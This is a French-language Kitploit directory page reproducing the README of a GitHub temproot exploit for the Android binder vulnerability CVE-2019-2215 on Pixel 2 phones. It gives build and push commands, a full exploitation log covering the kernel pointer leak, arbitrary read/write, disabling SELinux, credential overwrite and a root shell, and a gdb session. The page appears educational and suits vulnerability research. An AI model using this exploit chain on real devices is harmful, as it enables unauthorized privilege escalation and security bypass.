Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-2215 — Temproot pour Pixel 2 et Pixel 2 XL via CVE-2019-2215 | Kitploit
Outils/GitHubGitHub/byte-master-101/cve-2019-2215
Sécurité AndroidEscalade de PrivilègesExploitationSécurité MobileApprentissage et ÉducationExploitation de Binaires
GitHubbyte-master-101/cve-2019-2215

CVE-2019-2215

Temproot pour Pixel 2 et Pixel 2 XL via CVE-2019-2215

Voir le dépôt
3214il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-2215

AVERTISSEMENT : LE CODE FOURNI ICI EST UNIQUEMENT À DES FINS ÉDUCATIVES ET DE DÉMONSTRATION. JE NE SOUTIENS NI NE PRENDS AUCUNE RESPONSABILITÉ ENVERS QUICONQUE UTILISE CE CODE (OU LES INFORMATIONS QU'IL CONTIENT, OU SA CONSTRUCTION, OU QUOI QUE CE SOIT DANS CE DÉPÔT) À DES FINS ILLÉGALES OU IMMORALES

Crédits

Basé sur une preuve de concept par Jann Horn & Maddie Stone de Google Project Zero

Remerciements particuliers à l'atelier de CloudFuzz pour m'avoir permis d'écrire cet exploit.

Merci également à kangtastic pour avoir fourni une autre source de référence.

Utilisation

Pour construire l'exploit :

NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make

Pour construire l'exploit et le téléverser vers un appareil en cours d'exécution (en utilisant l'émulateur Android Studio) :

NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit

Exemple d'utilisation :

mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Building: cve-2019-2215-exploit
Pushing: cve-2019-2215-exploit to /data/local/tmp
cve-2019-2215-exploit: 1 file pushed, 0 skipped. 480.0 MB/s (4891248 bytes in 0.010s)
File located in: /data/local/tmp/cve-2019-2215-exploit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ adb shell
generic_x86_64:/ $ id                                   
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
generic_x86_64:/ $ /data/local/tmp/cve-2019-2215-exploit
[+] Allocating 4Gb aligned page...
    [+] Allocating page
    [+] Filling page with 'A's
    [+] Dummy page pointer: 0x100000000
[*] Page allocated successfully
[+] Leaking task_struct pointer...
    [+] Allocating binder and epoll file descriptors
    [+] Creating Pipe
    [+] Constructing IOVEC stack
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Reading leaked task_struct pointer
    [+] Leaked task_struct pointer: 0xffff888010731b80
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Leaked task_struct pointer successfully
[+] Getting arbitrary Read-Write permissions...
    [+] Allocating binder and epoll file descriptors
    [+] Creating socket
    [+] Writing junk data to socket
    [+] Constructing IOVEC stack
    [+] Crafting socket input data
    [+] Creating message header object
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Verifying arbitrary R/W vector
    [+] Opening kernel R/W pipe
    [+] PID 7359 verified
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Got arbitrary Read-Write permissions successfully
[+] Setting SELinux to permissive mode...
    [+] SELinux enforcing flag located at 0xffffffff816acfe8
    [+] SELinux enforcing flag already set to zero (permissive mode)
[*] Set SELinux to permissive mode successfully
[+] Updating kernel-space cred structure...
    [+] Copying nsproxy pointer from kernel-space
    [+] init_nsproxy structure address: 0xffffffff81433ac0
    [+] Kernel base address: 0xffffffff80200000
    [+] init_cred structure address: 0xffffffff81433c30
    [+] init_cred usage count: 0x2
    [+] Setting init_cred usage count to: 0x3
    [+] Setting task_struct credentials to init_cred
    [+] New process UID: 0
    [+] Closing kernel R/W pipe
[*] Updated kernel-space cred structure successfully

Exploitation Successful! Opening Privileged Shell...
generic_x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
generic_x86_64:/ # exit

Exiting Privileged Shell...
generic_x86_64:/ $ exit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$

Débogage

Pour déboguer l'exploit :

gdb -quiet ./path/to/dist/vmlinux -x commands.gdb

Notez que l'exécution de l'exploit pendant que gdb est connecté le rend très instable, donc ne connectez gdb que lorsque c'est nécessaire. Exemple de session de débogage :

mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ gdb -quiet ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -x commands.gdb
Reading symbols from ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux...
Note: running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed
warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
warning: Could not load XML target description; ignoring
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
^C
Program received signal SIGINT, Interrupt.
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
Breakpoint 1 at 0xffffffff80823785: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
Breakpoint 2 at 0xffffffff802aa69d: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
Breakpoint 3 at 0xffffffff802aa6d5: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.
Télécharger l’outil